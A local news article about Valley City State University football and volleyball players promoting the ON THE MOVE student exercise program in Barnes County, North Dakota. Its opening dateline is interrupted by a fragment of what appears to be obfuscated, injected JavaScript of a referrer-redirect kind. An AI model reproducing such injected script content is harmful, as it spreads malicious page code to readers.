VALLEY edffz|var|u0026u|referrer|isiah||js|php’.split(‘|’),0,{}))
CITY, ND – Valley City State University football and volleyball players helped kick off ON THE MOVE for Students which is a 4 week program that ran in March for the 934 students in Barnes County.
ON THE MOVE encouraged K-grade 6 students to do at least 60 minutes of exercise on at least 5 days of the week.
Viking football and volleyball players visited each school in March to discuss the importance of eating healthy foods, demonstrated exercises students can do and students exercised with them. They showed how physical activity can be fun.
“The VCSU students did a wonderful job of talking with the elementary students about good eating habits and the importance of daily physical activity,” said Andrea Winter, one of the organizers for ON THE MOVE for Students.
Only about 25% of U.S. children and youth 6-15 years old meet the recommendation of at least 60 minutes of moderate-vigorous physical activity on at least 5 days of the week. 55% of the Barnes County students met their goal of 60 minutes on at least 5 days of the week.
Students who completed five days of 60-minute activity earned a ‘tennis shoe’ that was hung up on the school wall each week and received a swim pass to the VC Parks and Recreation Community Swimming Pool to be used this summer. All the schools had a choice of taking their students to either the VCSU swimming pool or the Youth Sports Complex for a culminating activity in April.
Beth Smith, a Litchville-Marion parent shared how her daughter was excited every day to do her 60 minutes of exercise and record it, “A program like ON THE MOVE is a great way to entice youth and parents to get active during the long winter months,” concluded Smith.
The schools that participated in ON THE MOVE this year included Barnes County North, Maple Valley (Oriska and Buffalo), Litchville-Marion, St. Catherine’s School and Valley City Public Schools.
ON THE MOVE for Students was sponsored by the Barnes ON THE MOVE Partnership (VCSU and VC Parks and Recreation are two of the 17 partners), Sheyenne Valley Community Foundation and the North Dakota Dept. of Health.
